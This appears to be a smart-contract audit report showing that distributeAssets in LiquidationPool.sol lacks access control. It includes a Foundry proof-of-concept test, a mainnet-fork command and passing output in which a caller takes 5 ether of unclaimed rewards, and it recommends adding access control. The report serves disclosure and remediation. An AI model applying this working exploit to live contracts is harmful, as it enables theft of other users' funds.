Summary
distributeAssets in LiquidationPool.sol lack of access control , attacker can invoke this function to add native token reward and claim those reward by invoking claimRewards
Vulnerability Details
anyone could invoke runLiquidation in LiquidationPoolManager.sol to liquidate specific tokenId. If the liquidation is successful, these tokens will be sent to the LiquidationPoolManager. And LiquidationPoolManager invoke pool.distributeAssets():
LiquidationPool(pool).distributeAssets{value: ethBalance}(assets, manager.collateralRate(), manager.HUNDRED_PC());
This function will increase the value in the staker's rewards mapping
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
Finally those position holders can invoke claimRewards to get their reward tokens.
Note that those reward tokens will remain in the pool until position holders invoke the claimRewards function.
Assuming there are 5 ether native tokens remaining in the pool.
Thus, the attacker can directly invoke distributeAssets and pass in specific parameters.
Even though this function would invoke returnUnpurchasedNative to return back those unpurchased native token to manager , attacker can set the value of _hundredPC to ZERO, this way, all the amounts will be allocated, resulting in no remaining native tokens to be returned to the manager.
Here is my test written using foundry
function testAttackerStolenOthersAssets() public {
uint256 tstAmount = 1e18;
deal(address(TST),alice,tstAmount);
deal(address(TST),bob,tstAmount);
deal(address(EUROs),alice,tstAmount);
deal(address(EUROs),bob,tstAmount);
vm.startPrank(alice);
IERC20(TST).approve(address(lp),type(uint256).max);
IERC20(EUROs).approve(address(lp),type(uint256).max);
lp.increasePosition(tstAmount, tstAmount);
vm.stopPrank();
vm.startPrank(bob);
IERC20(TST).approve(address(lp),type(uint256).max);
IERC20(EUROs).approve(address(lp),type(uint256).max);
lp.increasePosition(tstAmount, tstAmount);
vm.warp(block.timestamp + 2 days);
LiquidationPool.Reward[] memory reward;
(,reward) = lp.position(alice);
console2.log("alice native reward before:",reward[0].amount);
vm.deal(address(lp),5 ether);
address NATIVE = address(0);
address clAddr = address(0x639Fe6ab55C921f74e7fac1ee960C0B6293ba612);
ILiquidationPoolManager.Asset[] memory _assets = new ILiquidationPoolManager.Asset[](1);
ITokenManager.Token memory token = ITokenManager.Token(bytes32('ETH'), NATIVE, uint8(18), clAddr, uint8(8));
_assets[0] = ILiquidationPoolManager.Asset(
token,
10e18
);
assertEq(alice.balance,0);
console2.log("alice native token before:",alice.balance);
lp.distributeAssets(_assets, 1, 0);
(,reward) = lp.position(alice);
console2.log("alice native reward last:",reward[0].amount);
vm.stopPrank();
vm.startPrank(alice);
lp.claimRewards();
assertEq(alice.balance,5 ether);
console2.log("alice native token last:",alice.balance);
}
we can run this test with a arb-mainnet fork:
forge test --match-test testAttackerStolenOthersAssets --fork-url https://arbitrum.llamarpc.com -vvv
output:
Running 1 test for test/LiquidationPool.t.sol:LiquidationTest
[PASS] testAttackerStolenOthersAssets() (gas: 1199341)
Logs:
alice native reward before: 0
alice native token before: 0
alice native reward last: 5000000000000000000
alice native token last: 5000000000000000000
We can see that Alice, by calling this function, obtains the remaining native tokens in the pool that other players have not claimed in a timely manner.
Impact
The attacker can steal the remaining native tokens in the pool.
Tools Used
Founry
Recommendations
recommand to add access control to distributeAssets in LiquidationPool.sol